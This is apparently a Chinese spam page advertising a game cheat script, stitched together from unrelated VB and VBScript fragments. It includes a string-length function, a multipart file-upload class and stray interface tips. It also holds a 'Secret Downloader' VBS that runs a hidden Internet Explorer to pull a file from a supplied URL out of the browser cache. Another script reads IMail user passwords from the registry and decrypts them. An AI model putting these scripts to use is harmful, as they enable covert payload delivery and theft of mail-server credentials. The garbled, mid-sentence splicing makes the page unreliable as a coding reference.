造梦西游ol脚本辅助苹果费大管家

' return 0xff61 <=ch && ch <=0xff9f; ' }这时才知道[^\x00-\xff|?-?]这个正则表达式是匹配英文字符和半角日文之外的字符的注意里面的这个符号^取反的意思[\x00-\xff|?-?]里面没有没^就是匹配英文字符和半角日文加上这个^就是匹配英文字符和半角日文之外的字符下面这个是我写的VB.NET的方法计算字符串的长度Public Function GetStringLength(ByVal data As String) As Integer Dim i As Integer=0 Dim len As Integer=0 Dim cc As String="" Dim charRegex As New Regex("[\x00-\xff|?-?]") For i=0 To data.Length - 1 '文字の取得を行う cc=data.Substring(i, 1) If charRegex.IsMatch(cc) Then len=len + 1 Else len=len + 2 End If Next i Return lenEnd Function这样就可以计算出字符串的长度了(有不对的地方请指出)

'XML Upload Class Class XMLUpload Private xmlHttp Private objTemp Private adTypeBinary, adTypeText Private strCharset, strBoundary Private Sub Class_Initialize() adTypeBinary=1 adTypeText=2 Set xmlHttp=CreateObject("Msxml2.XMLHTTP") Set objTemp=CreateObject("ADODB.Stream") objTemp.Type=adTypeBinary objTemp.Open strCharset="utf-8" strBoundary=GetBoundary() End Sub Private Sub Class_Terminate() objTemp.Close Set objTemp=Nothing Set xmlHttp=Nothing End Sub '指定字符集的字符串转字节数组 Public Function StringToBytes(ByVal strData, ByVal strCharset) Dim objFile Set objFile=CreateObject("ADODB.Stream") objFile.Type=adTypeText objFile.Charset=strCharset objFile.Open objFile.WriteText strData objFile.Position=0 objFile.Type=adTypeBinary If UCase(strCharset)="UNICODE" Then objFile.Position=2 'delete UNICODE BOM ElseIf UCase(strCharset)="UTF-8" Then objFile.Position=3 'delete UTF-8 BOM End If StringToBytes=objFile.Read(-1) objFile.Close Set objFile=Nothing End Function '获取文件内容的字节数组 Private Function GetFileBinary(ByVal strPath) Dim objFile Set objFile=CreateObject("ADODB.Stream") objFile.Type=adTypeBinary objFile.Open objFile.LoadFromFile strPath GetFileBinary=objFile.Read(-1) objFile.Close Set objFile=Nothing End Function '获取自定义的表单数据分界线 Private Function GetBoundary() Dim ret(12) Dim table Dim i table="abcdefghijklmnopqrstuvwxzy0123456789" Randomize For i=0 To UBound(ret) ret(i)=Mid(table, Int(Rnd() * Len(table) + 1), 1) Next GetBoundary="---------------------------" & Join(ret, Empty) End Function '设置上传使用的字符集 Public Property Let Charset(ByVal strValue) strCharset=strValue End Property '添加文本域的名称和值 Public Sub AddForm(ByVal strName, ByVal strValue) Dim tmp tmp="\r\n--$1\r\nContent-Disposition: form-data; name=""$2""\r\n\r\n$3" tmp=Replace(tmp, "\r\n", vbCrLf) tmp=Replace(tmp, "$1", strBoundary) tmp=Replace(tmp, "$2", strName) tmp=Replace(tmp, "$3", strValue) objTemp.Write StringToBytes(tmp, strCharset) End Sub '设置文件域的名称/文件名称/文件MIME类型/文件路径或文件字节数组 Public Sub AddFile(ByVal strName, ByVal strFileName, ByVal strFileType, ByVal strFilePath) Dim tmp tmp="\r\n--$1\r\nContent-Disposition: form-data; name=""$2""; filename=""$3""\r\nContent-Type: $4\r\n\r\n" tmp=Replace(tmp, "\r\n", vbCrLf) tmp=Replace(tmp, "$1", strBoundary) tmp=Replace(tmp, "$2", strName) tmp=Replace(tmp, "$3", strFileName) tmp=Replace(tmp, "$4", strFileType) objTemp.Write StringToBytes(tmp, strCharset) objTemp.Write GetFileBinary(strFilePath) End Sub '设置multipart/form-data结束标记 Private Sub AddEnd() Dim tmp tmp="\r\n--$1--\r\n" tmp=Replace(tmp, "\r\n", vbCrLf) tmp=Replace(tmp, "$1", strBoundary) objTemp.Write StringToBytes(tmp, strCharset) objTemp.Position=2 End Sub '上传到指定的URL,并返回服务器应答 Public Function Upload(ByVal strURL) Call AddEnd xmlHttp.Open "POST", strURL, False xmlHttp.setRequestHeader "Content-Type", "multipart/form-data; boundary=" & strBoundary 'xmlHttp.setRequestHeader "Content-Length", objTemp.size xmlHttp.Send objTemp Upload=xmlHttp.responseText End Function End Class Dim UploadData Set UploadData=New XMLUpload UploadData.Charset="utf-8" UploadData.AddForm "content", "Hello world" '文本域的名称和内容 UploadData.AddFile "file", "test.jpg", "image/jpg", "test.jpg" WScript.Echo UploadData.Upload("") Set UploadData=Nothing按键精灵脚本命令大全 最近在博客的流量记录中发现百度关键字“一些很恶作剧的vbs程序”(看来现在的年轻人很喜欢玩这口),于是打开久违的百度搜索了一下,发现出现在第三欲将TextBox内的文字向右靠,除了将Alignment属性设为「1-靠右对 」之外,亦 将MultiLine属性设为True

好了,不废话,看代码: '============================='get.vbs 'bylake2 '=============================IfWScript.Arguments.Count<>3Then WScript.Echo"" WScript.Echo"=======TheSecretDownloader0.1================" WScript.Echo"bylake2" WScript.Echo"Usage:CScript/nologo"&WScript.ScriptName&"[URL][RemoteName][LocalFile]" WScript.Echo"Example:CScript/nologo"&WScript.ScriptName&"" WScript.Echo"==================================================" WScript.Quit EndIf URL=WScript.Arguments(0) exeName=WScript.Arguments(1) IfInStr(exeName,".")>0Then tmp=Left(exeName,InStrRev(exeName,".")-1) tmp2=Right(exeName,Len(exeName)-InStrRev(exeName,".")+1) FindFileName=tmp&"[1]"&tmp2 EndIf LocalName=WScript.Arguments(2) setie=wscript.createobject("internetexplorer.application") ie.visible=0 ie.navigateURL WScript.Echo"[+]CreateandExecIEtoyourHTTPServer..." WScript.Sleep(5000) ie.quit WScript.Echo"[+]Getthefile..." setobjshell=WScript.Createobject("WScript.Shell") strValue=objshell.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Cache\paths\Directory") ShowAllFile(strValue) WScript.Echo"[-]downloadFail:(" SubShowAllFile(Path) SetFSO=CreateObject("Scripting.FileSystemObject") Setf=FSO.GetFolder(Path) Setfc=f.SubFolders ForEachf1infc IfFSO.FileExists(path&""&f1.name&""&FindFileName)Then FSO.CopyFilepath&""&f1.name&""&FindFileName,LocalName WScript.Echo"[+]DownloadSuccess!" WScript.Quit EndIf ShowAllFilepath&""&f1.name Next SetFSO=Nothing EndSub 使用方法: 1、在你的web目录放上一个htm文件,内容包含要下载的文件本范例是以一个stdPicture物件来存图形,之後於PictureBox中以特殊效果来显示

这是不是很爽?这里我使用winrar+vbs实现步骤:1)在VisualBasic生成标准的EXE文件

例如,Int 将-8.4转换为-9,而Fix函数将-8.4转换为-8千幻

->PublicSubFillList(ListControlAsListBox,ParamArrayItems())DimiAsVariantWithListControl.ClearForEachiInItems.AddItemiNextEndWithEndSubPrivateSubCommand1_Click()FillListList1,"TiffanyT","MikeS","RochesterNY"EndSub->->on error resume next const HKEY_LOCAL_MACHINE=&H80000002 strComputer="." Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_ strComputer & "\root\default:StdRegProv") strKeyPath="SOFTWARE\Ipswitch\IMail\Domains" oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys For Each subkey In arrSubKeys wscript.echo "Domain: "&subkey strKeyPath2=strKeyPath&""&subkey&"\Users" oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2 For Each subkey2 In arrSubKeys2 strKeyPath3=strKeyPath2&""&subkey2 strValueName="Password" oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue if len(subkey2) and len(strValue) then wscript.echo subkey2 &" : " & decrypt(subkey2,strValue) end if Next Next function decrypt(name,pass) while len(name)<len(pass)/2 name=name&name wend for i=0 to len(pass)/2-1 p=mid(pass,2*i+1,2) p="&H"&p n=mid(name,i+1,1) decrypt=decrypt&chr(clng(p)-asc(n)) next end function 。
140人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册